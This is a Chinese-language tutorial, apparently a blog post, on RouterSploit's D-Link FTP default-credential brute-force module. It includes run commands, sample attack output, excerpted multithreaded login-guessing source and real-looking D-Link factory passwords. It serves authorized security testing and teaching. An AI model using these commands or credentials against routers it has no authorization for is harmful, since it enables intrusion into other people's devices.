ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

RouterSploit D-Link 路由器 FTP 默认凭据爆破模块实战:ftp_default_creds 使用与源码解析

RouterSploit D-Link 路由器 FTP 默认凭据爆破模块实战:ftp_default_creds 使用与源码解析 RouterSploit D-Link 路由器 FTP 默认凭据爆破模块实战ftp_default_creds 使用与源码解析【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit本篇文章围绕 RouterSploit嵌入式设备漏洞利用框架中的creds/routers/dlink/ftp_default_creds模块展开讲解如何针对 D-Link 路由器 FTP 服务执行默认凭据字典攻击并在命中后输出有效账号。读完本文你将掌握该模块的交互式与非交互式两种调用方式、全部可配置参数target / port / threads / defaults 等的取值与作用、底层 FTP 客户端与多线程攻击的调用链以及如何通过源码与测试用例验证模块行为。模块概述针对 D-Link FTP 服务的默认凭据字典攻击creds/routers/dlink/ftp_default_creds是 RouterSploit 中专门面向 D-Link 路由器的凭据类creds模块。它的职责非常聚焦对目标 D-Link 路由器的 FTP 服务执行默认凭据字典攻击dictionary attack遍历预先配置的用户名:密码组合尝试登录一旦找到有效凭据立即在终端中以表格形式展示给用户。该模块的定义位于 模块源码其__info__元数据如下class Exploit(FTPDefault): __info__ { name: D-Link Router Default FTP Creds, description: Module performs dictionary attack against D-Link Router FTP service. If valid credentials are found, they are displayed to the user., authors: ( Marcin Bury marcin[at]threat9.com, # routersploit module ), devices: ( D-Link Router, ), }从源码结构看该模块并非从零实现攻击逻辑而是继承自通用 FTP 默认凭据模块routersploit.modules.creds.generic.ftp_default.Exploit通用 FTP 默认凭据模块并在其上覆写了 D-Link 专属的默认值默认线程数改为 1、默认凭据字典改为admin:admin、1234:1234、root:12345、root:root这四组组合。这种“厂商专用模块 通用攻击引擎 专属默认配置”的设计是 RouterSploit creds 目录下所有路由器模块共用的模式例如同目录下的 D-Link SSH 默认凭据、D-Link Telnet 默认凭据 均沿用同一套路。验证步骤交互式使用指南原文档给出的标准验证步骤是模块最直接的用法。在项目根目录启动 RouterSploit 交互式终端入口为 rsf.py依次执行启动框架./rsf.py选择模块use creds/routers/dlink/ftp_default_creds设置目标set target [TargetIP]运行模块run若发现有效凭据会在终端显示给用户完整对话场景如下摘自 原文档rsf use creds/routers/dlink/ftp_default_creds rsf (D-Link Router Default FTP Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (D-Link Router Default FTP Creds) run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: admin Password: 12345 [-] Authentication Failed - Username: admin Password: 123456 [-] Authentication Failed - Username: Admin Password: 12345 [-] Authentication Failed - Username: Admin Password: 123456 [] Authenticated Succeed - Username: admin Password: admin [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin流程解读use命令加载模块后提示符变为rsf (D-Link Router Default FTP Creds)set target写入目标 IPrun依次执行“探测 FTP 服务是否开放 → 启动多线程攻击 → 逐条尝试凭据 → 命中后汇总输出”。输出中[-]表示单次认证失败[]表示认证成功最后通过print_table渲染出包含 Target / Port / Service / Username / Password 五列的汇总表。值得注意的是上述日志中123456、Admin等组合并不在本模块默认的 4 组字典中——原文档示例演示的是在运行时通过set defaults扩展了字典后的效果下文参数章节会说明defaults如何配置这也说明该模块的字典是高度可定制的。参数详解target / port / threads / defaults模块在 ftp_default_creds.py 中声明了 4 个核心参数参数类型默认值说明targetOptIP空目标 IPv4 / IPv6 地址或file://开头的文件路径内含ip:port列表portOptPort21目标 FTP 服务端口threadsOptInteger1并发线程数defaultsOptWordlistadmin:admin,1234:1234,root:12345,root:root用户名:密码组合支持逗号分隔内联或file://词表文件除此之外由于模块继承自通用 FTP 默认凭据模块还额外继承了两个开关参数stop_on_success默认true命中第一组有效凭据后立即停止其余线程与verbosity默认true是否逐条打印认证尝试。通用模块的完整参数定义见 ftp_default.py。参数类型与校验逻辑OptIP接收 IPv4 或 IPv6 地址校验正则见 utils.py 中的is_ipv6与is_ipv4非法地址会抛出OptionValidationError同时支持file://前缀指向包含多个ip:port条目的文件配合multi装饰器可对多目标批量攻击。OptPort端口被强制转为int合法区间为1~65535见 option.py 中OptPort.__set__超出范围直接报错。OptInteger整数值可接受十进制或0x开头的十六进制字符串。OptWordlist这是最灵活的选项其取值行为定义在 option.py若值以file://开头则把后面的路径当作词表文件读取时逐行 strip 后组成列表返回每行一组user:pass否则按英文逗号切分为列表。词表文件与内置字典框架在 routersploit/resources/wordlists/init.py 中通过pkg_resources暴露了多份内置词表defaults.txt通用默认凭据、passwords.txt、usernames.txt、snmp.txt。D-Link 专用模块没有直接引用通用defaults.txt而是内置了 4 组针对性组合不过你完全可以在运行时把defaults指向file://形式的内置词表路径例如set defaults file:///path/to/defaults.txt。通用词表 defaults.txt 共 653 行除了常规的admin:admin、Admin:admin外还包含大量 D-Link 相关的出厂口令如Alphanetworks:wapnd03cm_dkbs_dap2555、Alphanetworks:wrgn22_dlwbr_dir615、Alphanetworks:wrgn23_dlwbr_dir300b等——这些正是历史上 D-Link DIR 系列路由器的真实出厂默认口令形态体现了词表对厂商设备的针对性覆盖。底层攻击流程check → 多线程字典攻击 → 结果输出D-Link 模块本身只声明参数与元数据真正的攻击流程全部由父类 ftp_default.py 实现调用链如下def run(self): self.credentials [] self.attack() multi def attack(self): if not self.check(): return print_status(Starting attack against FTP service) data LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) ...第一步check() 探测 FTP 服务check()调用self.ftp_create()创建 FTP 客户端再调用ftp_client.test_connect()def check(self): ftp_client self.ftp_create() if ftp_client.test_connect(): print_status(Target exposes FTP service, verboseself.verbosity) return True print_status(Target does not expose FTP service, verboseself.verbosity) return Falsetest_connect()见 ftp_client.py本质是“连接成功后立即断开”。若探测失败模块直接返回不做无意义的字典尝试探测成功才输出日志Target exposes FTP service并进入攻击阶段。第二步多线程字典攻击攻击核心是target_function它配合LockedIterator与run_threads实现线程安全的字典消费def target_function(self, running, data): while running.is_set(): try: username, password data.next().split(:, 1) except StopIteration: break else: ftp_client self.ftp_create() if ftp_client.connect(retries3) is None: print_error(Too many connections problems. Quiting..., verboseself.verbosity) return if ftp_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ftp_client.close()关键实现细节data.next().split(:, 1)用split(:, 1)只按第一个冒号切分确保密码本身即使含冒号也不会被破坏每个凭据组合都会新建一个 FTP 客户端连接connect(retries3)表示连接失败最多重试 3 次重试耗尽直接放弃防止目标抖动导致线程无限阻塞命中凭据后若stop_on_success为true则通过running.clear()通知所有线程停止实现“找到即停”。第三步结果汇总输出所有线程结束后若self.credentials非空则打印Credentials found!并用表格输出if self.credentials: print_success(Credentials found!) headers (Target, Port, Service, Username, Password) print_table(headers, *self.credentials) else: print_error(Credentials not found)这正是原文档示例末尾五列表格的来源。若一个有效凭据都没找到则输出Credentials not found。FTP 客户端的底层实现所有连接动作最终落到 ftp_client.py 中的FTPCli类它基于 Python 标准库ftplib封装connect(retries)调用ftplib.FTP.connect(target, port, timeoutFTP_TIMEOUT)其中FTP_TIMEOUT 8.0秒连接失败按重试次数循环并打印错误login(username, password)调用ftplib.FTP.login成功打印FTP Authentication Successful异常则打印FTP Authentication Failed后关闭连接构造函数支持ssl参数选择ftplib.FTP_TLS默认关闭因此同一套客户端既可攻击明文 FTP 也可攻击 FTPS。非交互式使用命令行直接运行除了交互式终端RouterSploit 支持通过 rsf.py 的-m/-s参数非交互执行实现见 interpreter.py 的nonInteractive方法./rsf.py -m creds/routers/dlink/ftp_default_creds -s target 192.168.1.1 -s threads 4-m指定模块-s可多次使用、每次设置一个选项参数之间用空格分隔。非交互模式适合把凭据检测嵌入脚本或定时任务便于自动化批量验证内网 D-Link 设备的默认口令暴露情况。模块还支持file://多目标批量把多个ip:port写入文件后set target file:///path/to/targets.txt配合multi装饰器即可对文件中的每个目标依次执行完整流程。源码级验证测试用例如何确认模块行为仓库的测试目录为模块行为提供了可复现的验证。测试文件 tests/creds/routers/dlink/test_ftp_default_creds.py 中的test_check_success用例断言了模块的全部默认值assert exploit.target assert exploit.port 21 assert exploit.threads 1 assert exploit.defaults [admin:admin, 1234:1234, root:12345, root:root] assert exploit.stop_on_success is True assert exploit.verbosity is True这与模块源码中的声明完全一致可直接作为“模块默认配置”的权威清单。测试随后将target/port指向测试夹具generic_target一个模拟的 FTP 服务并断言check()返回False、check_default()返回None、run()返回None——即在无效目标上模块能安全退出、不产生异常。夹具定义见 tests/conftest.py。此外tests/test_exploit_scenarios.py 展示了框架对模块check()返回值True / False / None的统一契约测试思路说明所有模块的探测方法都必须符合这一约定D-Link FTP 模块同样遵守。安全提示与适用范围本文及该模块的用途是评估自有或已获授权的网络资产对未授权目标执行凭据爆破可能违反当地法律法规请务必在授权范围内使用该模块仅覆盖 FTP 服务的默认凭据D-Link 设备的 Web 管理界面、Telnet、SSH 服务需分别选用对应的默认凭据模块见 creds/routers/dlink 目录下的webinterface_*、telnet_*、ssh_*模块模块默认仅尝试 4 组凭据覆盖面有限建议结合厂商公开的出厂默认口令列表或 内置词表 扩充defaults后再执行并适当调高threads以缩短耗时注意并发过高可能触发目标锁定或误报。【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表